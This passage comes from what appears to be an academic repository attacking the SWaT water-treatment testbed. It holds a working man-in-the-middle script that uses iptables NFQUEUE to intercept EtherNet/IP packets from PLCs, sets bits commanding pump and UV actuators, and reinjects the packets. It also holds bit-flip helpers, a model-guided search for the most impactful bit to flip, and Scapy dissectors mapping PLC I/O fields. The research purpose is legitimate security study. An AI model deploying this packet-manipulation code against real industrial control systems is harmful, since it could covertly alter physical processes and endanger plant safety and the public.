index0_40 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 95, 96, 97, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 205, 209, 215]
p2_50 = np.zeros(len(index2_50), dtype=int)
p2_40 = np.zeros(len(index2_40), dtype=int)
p2_28 = np.zeros(len(index2_28), dtype=int)
p0_40 = np.zeros(len(index0_40), dtype=int)
vector = np.hstack((p2_50, p2_40, p2_28, p0_40))
vector = vector.tolist()
modify_time = 0
modify_flag = 0
modify_index = 0
success_times = 0
failed_times = 0
count = 0
start_time = 0
time_interval = 30
def handle_packet(packet):
global index_alter
global modify_flag
global modify_time
global count
global vector
global start_time
global model
#191:pump1_start
index_alter = 191
#190:UV_start
index_alter2 = 190
pkt = IP(packet.get_payload())
if pkt.haslayer('Raw'):
if index_alter in range(len(p2_50)):
if pkt['IP'].src == '192.168.0.42' and len(pkt['Raw']) == 50:
rawpkt = binascii.unhexlify(on(pkt, index2_50[index_alter]))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
elif index_alter in range(len(p2_50), len(p2_50)+len(p2_40)):
if pkt['IP'].src == '192.168.0.42' and len(pkt['Raw']) == 40:
rawpkt = binascii.unhexlify(on(pkt, index2_40[index_alter - len(p2_50)]))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
elif index_alter in range(len(p2_50)+len(p2_40), len(p2_50)+len(p2_40)+len(p2_28)):
if pkt['IP'].src == '192.168.0.42' and len(pkt['Raw']) == 28:
rawpkt = binascii.unhexlify(on(pkt, index2_28[index_alter - (len(p2_50)+len(p2_40))]))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
elif index_alter in range(len(p2_50)+len(p2_40)+len(p2_28), len(p2_50)+len(p2_40)+len(p2_28)+len(p0_40)):
if pkt['IP'].src == '192.168.0.40' and len(pkt['Raw']) == 40:
#control pump401 states
rawpkt = binascii.unhexlify(on(pkt, index0_40[index_alter - (len(p2_50)+len(p2_40)+len(p2_28))]))
pktnew = IP(rawpkt)
#control UV states
rawpkt = binascii.unhexlify(on(pktnew, index0_40[index_alter2 - (len(p2_50)+len(p2_40)+len(p2_28))]))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
packet.accept()
if __name__ == '__main__':
os.system('iptables -t mangle -A FORWARD -j NFQUEUE --queue-num 1')
nfqueue = NetfilterQueue()
nfqueue.bind(1, handle_packet,10)
try:
print "[*] starting NFQUEUE"
start_time = time.time()
print "start_time", start_time
nfqueue.run()
except KeyboardInterrupt:
os.system('sudo iptables -t mangle -F')
print "[*] stopping NFQUEUE"
nfqueue.unbind()
```
_PLC2.py
```# -*- coding: utf-8 -*-
# Copyright (c) 2018 Beebi Siti Salimah Binte Liyakkathali, liyakkathali@sutd.edu.sg
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
from scapy import all as scapy_all
import enip_cpf
__all__ = ['SWAT_P2_RIO_DO', 'SWAT_P2_RIO_DI', 'SWAT_P2_RIO_AI']
class SWAT_P2_RIO_DI(scapy_all.Packet):
name = "SWAT_P2_RIO_DI"
fields_desc =[
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.BitEnumField('P202_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P202_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P202_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P201_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P201_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P201_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('RIO2_Wifi', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('PLC2_Wifi', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P205_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P205_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P204_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P204_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P204_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P203_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P203_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P203_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P208_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P207_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P207_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P207_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P206_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P206_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P206_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P205_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('LS203_Low', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('LS202_Low', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('LS201_Low', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV201_Close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV201_Open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P208_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P208_Run', 0, 1, {0: 'disable', 1: 'enable'}),
]
class SWAT_P2_RIO_DO(scapy_all.Packet):
name = "SWAT_P2_RIO_DO"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.ByteField('number', 0),
scapy_all.StrFixedLenField('reserved', 0, length=5),
scapy_all.BitEnumField('P208_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P207_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P206_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P205_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P204_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P203_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P202_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P201_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('LED_RED', 0, 1, {0: 'disable', 1: 'enable'}), #LED_RED
scapy_all.BitEnumField('MV201_Close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV201_Open', 0, 1, {0: 'disable', 1: 'enable'}),
]
class SWAT_P2_RIO_AI(scapy_all.Packet):
name = "SWAT_P2_RIO_AI"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.LEShortField('FIT201_Flow', 0),
scapy_all.LEShortField('AIT201_Conductivity', 0),
scapy_all.LEShortField('AIT202_pH', 0),
scapy_all.LEShortField('AIT203_ORP', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
]
scapy_all.bind_layers(scapy_all.TCP, enip_cpf.ENIP_CPF, dport=2222)
scapy_all.bind_layers(scapy_all.UDP, enip_cpf.ENIP_CPF, sport=2222)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P2_RIO_AI, length=32)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P2_RIO_DI, length=10)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P2_RIO_DO, length=22)
```
extract_log.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
import numpy as np
import pandas as pd
from datetime import datetime
df=pd.read_csv("log/0712LIT301.Pv.csv")
out=[datetime.strptime(x,' %d/%m/%Y %I:%M:%S %p') for x in df[" Timestamp"].tolist()]
flag=0
for i in range(len(out)):
if(out[i]==datetime(2019,7,12,9,52,40)):
flag = i
break
df_out=df.iloc[flag:, 2:4]
df_out.to_csv("log/0712LIT301.csv")
```
get_pv.py
```from scapy.all import *
import time
import numpy as np
from bitdump import *
import binascii
from netfilterqueue import NetfilterQueue
from usl import *
import _PLC1
def save(filename, contents):
fh = open(filename, 'w')
fh.write(contents)
fh.close()
t = time.time()
time_interval = 30
pv_list = np.zeros(100,dtype=float)
pv_list = pv_list.tolist()
count = 0
while True:
if time.time() - t <= 1:
continue
else:
f = open('string.txt','r')
line = f.readline()
pkt = IP(binascii.unhexlify(line))
if pkt.haslayer('SWAT_P1_RIO_AI'):
pv = usl(pkt['SWAT_P1_RIO_AI'].level)
pv_list[count] = pv
print pv_list
diff = pv_list[count]-pv_list[count-time_interval]
count += 1
if count == 100:
count = 0
t = time.time()
save('zmq/pv_diff1.txt', str(diff))
```
main_client.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import time
import zmq
import numpy as np
ip1 = "10.0.1.231"
ip2 = "10.0.1.232"
ip3 = "10.0.1.233"
ip4 = "10.0.1.234"
port = "5510"
tcp_address1 = "tcp://" + ip1 + ":" + port
tcp_address2 = "tcp://" + ip2 + ":" + port
tcp_address3 = "tcp://" + ip3 + ":" + port
tcp_address4 = "tcp://" + ip4 + ":" + port
# Socket to talk to server
context = zmq.Context()
socket1 = context.socket(zmq.SUB)
socket1.connect(tcp_address1)
socket2 = context.socket(zmq.SUB)
socket2.connect(tcp_address2)
socket3 = context.socket(zmq.SUB)
socket3.connect(tcp_address3)
socket4 = context.socket(zmq.SUB)
socket4.connect(tcp_address4)
socket1.setsockopt(zmq.SUBSCRIBE, '')
socket2.setsockopt(zmq.SUBSCRIBE, '')
socket3.setsockopt(zmq.SUBSCRIBE, '')
socket4.setsockopt(zmq.SUBSCRIBE, '')
def preprocess(x):
temp = x.strip('[')
temp = temp.strip(']')
final = np.fromstring(temp, dtype=int, sep='. ')
return final
while True:
vnold1 = socket1.recv_string()
old1 = preprocess(vnold1)
# vnold2 = socket2.recv_string()
# old2 = preprocess(vnold2)
# vnold3 = socket3.recv_string()
# old3 = preprocess(vnold3)
# oldvector = np.hstack((old1, old2, old3))
# np.savetxt("oldvector.txt", oldvector)
np.savetxt('stage1old.txt',old1)
```
modify_bit.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
#!/usr/bin/env python
import binascii
from scapy.all import *
import string
def flip(pkt1,number):
flag = 0
whole = binascii.hexlify(bytes(pkt1))
payload = binascii.hexlify(bytes(pkt1[Raw]))
temp = string.replace(whole,payload,"")
templist = list(payload)
if templist[0] == '0':
flag = 1
a = bin(int(payload,16))
a = string.replace(a,"0b","")
b = list(a)
if b[number] == '1':
b[number] = '0'
else:
b[number] = '1'
c = ''.join(b)
d = hex(int(c,2))
payloadnew = string.replace(d,"0x","")
payloadnew = string.replace(payloadnew,"L","")
if flag == 1:
payloadnew = list(payloadnew)
payloadnew.insert(0,'0')
payloadnew = ''.join(payloadnew)
packetnew = temp + payloadnew
return packetnew
def on(pkt1,number):
flag = 0
whole = binascii.hexlify(bytes(pkt1))
payload = binascii.hexlify(bytes(pkt1[Raw]))
temp = string.replace(whole,payload,"")
templist = list(payload)
if templist[0] == '0':
flag = 1
a = bin(int(payload,16))
a = string.replace(a,"0b","")
b = list(a)
b[number] = '1'
c = ''.join(b)
d = hex(int(c,2))
payloadnew = string.replace(d,"0x","")
payloadnew = string.replace(payloadnew,"L","")
if flag == 1:
payloadnew = list(payloadnew)
payloadnew.insert(0,'0')
payloadnew = ''.join(payloadnew)
packetnew = temp + payloadnew
return packetnew
def off(pkt1,number):
flag = 0
whole = binascii.hexlify(bytes(pkt1))
payload = binascii.hexlify(bytes(pkt1[Raw]))
temp = string.replace(whole,payload,"")
templist = list(payload)
if templist[0] == '0':
flag = 1
a = bin(int(payload,16))
a = string.replace(a,"0b","")
b = list(a)
b[number] = '0'
c = ''.join(b)
d = hex(int(c,2))
payloadnew = string.replace(d,"0x","")
payloadnew = string.replace(payloadnew,"L","")
if flag == 1:
payloadnew = list(payloadnew)
payloadnew.insert(0,'0')
payloadnew = ''.join(payloadnew)
packetnew = temp + payloadnew
return packetnew
```
AL_utils.py
```import binascii
from scapy.all import *
import string
def list_to_string(vector):
temp = [str(x) for x in vector]
return ''.join(temp)
def modify_bit(pkt1,number):
flag = 0
whole = binascii.hexlify(bytes(pkt1))
payload = binascii.hexlify(bytes(pkt1[Raw]))
temp = string.replace(whole,payload,"")
templist = list(payload)
if templist[0] == '0':
flag = 1
a = bin(int(payload,16))
a = string.replace(a,"0b","")
b = list(a)
if b[number] == '1':
b[number] = '0'
else:
b[number] = '1'
c = ''.join(b)
d = hex(int(c,2))
payloadnew = string.replace(d,"0x","")
payloadnew = string.replace(payloadnew,"L","")
if flag == 1:
payloadnew = list(payloadnew)
payloadnew.insert(0,'0')
payloadnew = ''.join(payloadnew)
packetnew = temp + payloadnew
return packetnew
def bitdump(x, dump=False):
s = ""
x = raw(x)
l = len(x)
i = 0
while i < l:
for j in range(16):
if i+j < l:
s += "%02X" % orb(x[i+j])
s+=""
if j%16 == 7:
s += ""
i += 16
if s.endswith("\n"):
s = s[:-1]
return bin(int(s,16)).replace("0b","")
'''scoring function'''
def search(vector):
global model
t = 0
index_temp = 0
y_origin = model.predict([vector])
for index in range(len(vector)):
temp = vector[:]
if temp[index] == 0:
temp[index] = 1
elif temp[index] == 1:
temp[index] = 0
y_after = model.predict(temp)
if abs(y_after-y_origin) >= t:
t = abs(y_after-y_origin)
index_temp = index
return index_temp
def bit_flip(vector,i):
temp = vector[:]
if temp[i] == 0:
temp[i] = 1
elif temp[i] == 1:
temp[i] = 0
else:
print 'not a bit string'
return temp
def bin_to_hex(bin_string):
bin_list = list(bin_string)
hex_list = []
for i in range(len(bin_list)/4):
if bin_list[4*i:4*(i+1)] == ['0','0','0','0']:
hex_list.append('0')
if bin_list[4*i:4*(i+1)] == ['0','0','0','1']:
hex_list.append('1')
if bin_list[4*i:4*(i+1)] == ['0','0','1','0']:
hex_list.append('2')
if bin_list[4*i:4*(i+1)] == ['0','0','1','1']:
hex_list.append('3')
if bin_list[4*i:4*(i+1)] == ['0','1','0','0']:
hex_list.append('4')
if bin_list[4*i:4*(i+1)] == ['0','1','0','1']:
hex_list.append('5')
if bin_list[4*i:4*(i+1)] == ['0','1','1','0']:
hex_list.append('6')
if bin_list[4*i:4*(i+1)] == ['0','1','1','1']:
hex_list.append('7')
if bin_list[4*i:4*(i+1)] == ['1','0','0','0']:
hex_list.append('8')
if bin_list[4*i:4*(i+1)] == ['1','0','0','1']:
hex_list.append('9')
if bin_list[4*i:4*(i+1)] == ['1','0','1','0']:
hex_list.append('a')
if bin_list[4*i:4*(i+1)] == ['1','0','1','1']:
hex_list.append('b')
if bin_list[4*i:4*(i+1)] == ['1','1','0','0']:
hex_list.append('c')
if bin_list[4*i:4*(i+1)] == ['1','1','0','1']:
hex_list.append('d')
if bin_list[4*i:4*(i+1)] == ['1','1','1','0']:
hex_list.append('e')
if bin_list[4*i:4*(i+1)] == ['1','1','1','1']:
hex_list.append('f')
hex_str = ''.join(hex_list)
return hex_str
def reconstruct_packet(pkt,vector,stage_number,packet_index):
'''
:param vector: whole payload of four stages
:param stage_number: stage1:1;stage2:2;stage3:3;stage4:4
:param packet_index: 12_50:1;12_40:2;12_28:3;10_40:4
:return:
'''
len_12_50 = 394
len_12_40 = 314
len_12_28 = 218
len_10_40 = 314
stage_length = 1240
whole = binascii.hexlify(bytes(pkt))
payload = binascii.hexlify(bytes(pkt[Raw]))
print payload
temp = string.replace(whole,payload,"")
stage_vector = vector[(stage_number-1)*stage_length:stage_number*stage_length]
if packet_index == 1:
packet_vector = stage_vector[:len_12_50]
if packet_index == 2:
packet_vector = stage_vector[len_12_50:len_12_50+len_12_40]
if packet_index == 3:
packet_vector = stage_vector[len_12_50+len_12_40:len_12_50+len_12_40+len_12_28]
if packet_index == 4:
packet_vector = stage_vector[len_12_50+len_12_40+len_12_28:len_12_50+len_12_40+len_12_28+len_10_40]
pktnew = list_to_string(packet_vector)
pktnew = '000000'+pktnew
a = time.time()
pktnew = bin_to_hex(pktnew)
print time.time()-a
print pktnew
return temp+pktnew```
stage4_client.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
import zmq
import time
import numpy as np
def preprocess(x):
temp = x.strip('[')
temp = temp.strip(']')
final = np.fromstring(temp, dtype=int, sep='. ')
return final
def save(filename, contents):
fh = open(filename, 'w')
fh.write(contents)
fh.close()
def read(filename):
fh = open(filename, 'r')
contents = fh.read()
fh.close()
return contents
ip = "10.0.1.235"
port = "5504"
port_states = '5508'
tcp_address = "tcp://" + ip + ":" + port
tcp_address_states = "tcp://" + ip + ":" + port_states
# Socket to talk to server
context = zmq.Context()
socket = context.socket(zmq.SUB)
socket.connect(tcp_address)
socket.setsockopt(zmq.SUBSCRIBE, '')
socket_states = context.socket(zmq.SUB)
socket_states.connect(tcp_address_states)
socket_states.setsockopt(zmq.SUBSCRIBE, '')
while True:
newvector = socket.recv_string()
print newvector
newvector = preprocess(newvector)
np.savetxt('newvector.txt',newvector)
states = socket_states.recv_string()
save('stage_states.txt',states)
```
_PLC3.py
```# -*- coding: utf-8 -*-
# Copyright (c) 2015 David I. Urbina, david.urbina@utdallas.edu
# Copyright (c) 2016 Rizwan Qadeer, rizwan_qadeer@sutd.edu.sg
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
"""Scapy Dissector for Ethernet/IP Implicit I/O messages of PLC 3."""
from scapy import all as scapy_all
import enip_cpf
__all__ = ['SWAT_P3_PLC', 'SWAT_P3_RIO_DO', 'SWAT_P3_RIO_DI', 'SWAT_P3_RIO_AI', 'SWAT_P3_WRIO_AI']
class SWAT_P3_PLC(scapy_all.Packet):
name = "SWAT_P3_PLC"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('number', 0),
scapy_all.LEShortField('spare', 0),
]
class SWAT_P3_RIO_DO(scapy_all.Packet):
name = "SWAT_P3_RIO_DO"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.ByteField('number', 0),
scapy_all.StrFixedLenField('reserved', 0, length=5),
scapy_all.BitEnumField('Dvalve_close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('Dvalve_open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('ROvalve_close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('ROvalve_open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFFvalve_close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFFvalve_open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFFpump2_start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFFpump1_start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitField('spare', 0, 4),
scapy_all.BitEnumField('MV201_stat', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('Alarm_light', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFDvalve_close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFDvalve_open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.FieldListField("spare2", [], scapy_all.ByteField('', 0),
length_from=lambda p: p.underlayer.length - 9),
]
class SWAT_P3_RIO_DI(scapy_all.Packet):
name = 'SWAT_P3_RIO_DI'
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.BitEnumField('UFFpump2_fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFFpump2_run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFFpump2_auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFFpump1_fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFFpump1_run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFFpump1_auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('rio3_wireless', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('plc3_wireless', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFDvalve_close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFDvalve_open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('Dvalve_close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('Dvalve_open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('ROvalve_close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('ROvalve_open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('BWvalve_close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('BWvalve_open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitField('spare', 0, 6),
scapy_all.BitEnumField('UFDpressure', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UFpressure', 0, 1, {0: 'disable', 1: 'enable'}),
]
#AIT301,AIT302,AIT303 - added(salimah)
class SWAT_P3_RIO_AI(scapy_all.Packet):
name = "SWAT_P3_RIO_AI"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.LEShortField('LIT301_Level', 0),
scapy_all.LEShortField('FIT301_Flow', 0),
scapy_all.LEShortField('DPIT301_Differential_pressure', 0),
scapy_all.LEShortField('AIT301_pH', 0),
scapy_all.LEShortField('AIT302_ORP', 0),
scapy_all.LEShortField('AIT303_Cond', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
]
class SWAT_P3_WRIO_AI(scapy_all.Packet):
name = "SWAT_P3_WRIO_AI"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.LEShortField('level', 0),
scapy_all.LEShortField('flow', 0),
scapy_all.LEShortField('pressure', 0),
scapy_all.FieldListField("spare", [], scapy_all.LEShortField("", 0),
length_from=lambda p: p.underlayer.length - 10),
]
scapy_all.bind_layers(scapy_all.TCP, enip_cpf.ENIP_CPF, dport=2222)
scapy_all.bind_layers(scapy_all.UDP, enip_cpf.ENIP_CPF, sport=2222)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P3_RIO_AI, length=32)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P3_RIO_DI, length=10)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P3_RIO_DO, length=22)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P3_PLC, length=8) # Comment for WRIO
# scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P3_WRIO_AI, length=10) # Uncomment for WRIO
```
AL_utils.py
```import binascii
from scapy.all import *
import string
def list_to_string(vector):
temp = [str(x) for x in vector]
return ''.join(temp)
def bit_flip(vector,i):
temp = vector[:]
if temp[i] == 0:
temp[i] = 1
elif temp[i] == 1:
temp[i] = 0
else:
print 'not a bit string'
return temp
def bin_to_hex(bin_string):
bin_list = list(bin_string)
hex_list = []
for i in range(len(bin_list)/4):
if bin_list[4*i:4*(i+1)] == ['0','0','0','0']:
hex_list.append('0')
if bin_list[4*i:4*(i+1)] == ['0','0','0','1']:
hex_list.append('1')
if bin_list[4*i:4*(i+1)] == ['0','0','1','0']:
hex_list.append('2')
if bin_list[4*i:4*(i+1)] == ['0','0','1','1']:
hex_list.append('3')
if bin_list[4*i:4*(i+1)] == ['0','1','0','0']:
hex_list.append('4')
if bin_list[4*i:4*(i+1)] == ['0','1','0','1']:
hex_list.append('5')
if bin_list[4*i:4*(i+1)] == ['0','1','1','0']:
hex_list.append('6')
if bin_list[4*i:4*(i+1)] == ['0','1','1','1']:
hex_list.append('7')
if bin_list[4*i:4*(i+1)] == ['1','0','0','0']:
hex_list.append('8')
if bin_list[4*i:4*(i+1)] == ['1','0','0','1']:
hex_list.append('9')
if bin_list[4*i:4*(i+1)] == ['1','0','1','0']:
hex_list.append('a')
if bin_list[4*i:4*(i+1)] == ['1','0','1','1']:
hex_list.append('b')
if bin_list[4*i:4*(i+1)] == ['1','1','0','0']:
hex_list.append('c')
if bin_list[4*i:4*(i+1)] == ['1','1','0','1']:
hex_list.append('d')
if bin_list[4*i:4*(i+1)] == ['1','1','1','0']:
hex_list.append('e')
if bin_list[4*i:4*(i+1)] == ['1','1','1','1']:
hex_list.append('f')
hex_str = ''.join(hex_list)
return hex_str
def reconstruct_packet(pkt,vector,stage_number,packet_index):
'''
:param vector: whole payload of four stages
:param stage_number: stage1:1;stage2:2;stage3:3;stage4:4
:param packet_index: 12_50:1;12_40:2;12_28:3;10_40:4
:return:
'''
len_12_50 = 256
len_12_40 = 176
len_12_28 = 80
len_10_40 = 176
stage_length = 688
whole = binascii.hexlify(bytes(pkt))
payload = binascii.hexlify(bytes(pkt[Raw]))
temp = string.replace(whole,payload,"")
stage_vector = vector[(stage_number-1)*stage_length:stage_number*stage_length]
if packet_index == 1:
packet_vector = stage_vector[:len_12_50]
if packet_index == 2:
packet_vector = stage_vector[len_12_50:len_12_50+len_12_40]
if packet_index == 3:
packet_vector = stage_vector[len_12_50+len_12_40:len_12_50+len_12_40+len_12_28]
if packet_index == 4:
packet_vector = stage_vector[len_12_50+len_12_40+len_12_28:len_12_50+len_12_40+len_12_28+len_10_40]
packet_vector = map(int,packet_vector)
pktnew = list_to_string(packet_vector)
pktnew = pktnew
a = time.time()
pktnew = bin_to_hex(pktnew)
return temp+pktnew
```
extract_bits.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
from scapy.all import *
import pandas as pd
import numpy as np
import time
from bitdump import *
def map_ip_address(nstage):
return {
1: "192.168.0.1",
2: "192.168.0.2",
3: "192.168.0.3",
4: "192.168.0.4"
}.get(nstage, "error")
def extract_bits(date,nstage,sensor,num):
